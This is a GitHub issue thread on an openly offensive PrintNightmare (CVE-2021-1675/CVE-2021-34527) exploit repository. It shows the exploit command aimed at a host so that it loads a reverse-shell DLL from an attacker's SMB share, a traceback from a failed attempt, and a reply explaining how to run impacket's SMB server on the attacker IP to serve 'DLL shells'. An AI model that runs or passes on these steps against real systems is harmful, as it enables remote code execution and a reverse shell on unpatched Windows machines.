search

cube0x0 / CVE-2021-1675

C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527
1.83k stars 581 forks source link

RPRN SessionError: code: 0x3 - ERROR_PATH_NOT_FOUND - The system cannot find the path specified. #39

Closed czz1233 closed 3 years ago

czz1233 commented 3 years ago

sudo python3 CVE-2021-1675.py test.local/chen:123.com@192.168.121.165 '\192.168.121.128\smb\reverse.dll' [] Connecting to ncacn_np:192.168.121.165[\PIPE\spoolss] [+] Bind OK [+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_7b3eed059f4c3e41\Amd64\UNIDRV.DLL [] Executing \??\UNC\192.168.121.128\smb\reverse.dll [*] Try 1... Traceback (most recent call last): File "/home/kali/CVE-2021-1675.py", line 188, in main(dce, pDriverPath, options.share) File "/home/kali/CVE-2021-1675.py", line 93, in main resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags) File "/usr/local/lib/python3.9/dist-packages/impacket-0.9.24.dev1+20210704.162046.29ad5792-py3.9.egg/impacket/dcerpc/v5/rprn.py", line 633, in hRpcAddPrinterDriverEx return dce.request(request) File "/usr/local/lib/python3.9/dist-packages/impacket-0.9.24.dev1+20210704.162046.29ad5792-py3.9.egg/impacket/dcerpc/v5/rpcrt.py", line 878, in request raise exception impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND - The system cannot find the file specified.

ItsIgnacioPortal commented 3 years ago

Why'd you close this? What was the fix?

wxh0000mm commented 3 years ago

Is how to solve excuse me. Thanks

ItsIgnacioPortal commented 3 years ago

Just for the record: Searching the issue you'll eventually come to the conclusion that the built-in SMB server does not work, so you have to use an external one:

#(venv) Start simple SMB server
#https://blog.ropnop.com/transferring-files-from-kali-to-windows/#smb
sudo python3 impacket/examples/smbserver.py ROPNOP /home/kali/software/exploitation/shells -ip KALI-IP-HERE -smb2support

Obviously, replace KALI-IP-HERE with the IP to which you want to bind the SMB server (Attacker IP). Replace /home/kali/software/exploitation/shells with the path where you have stored your .DLL shells.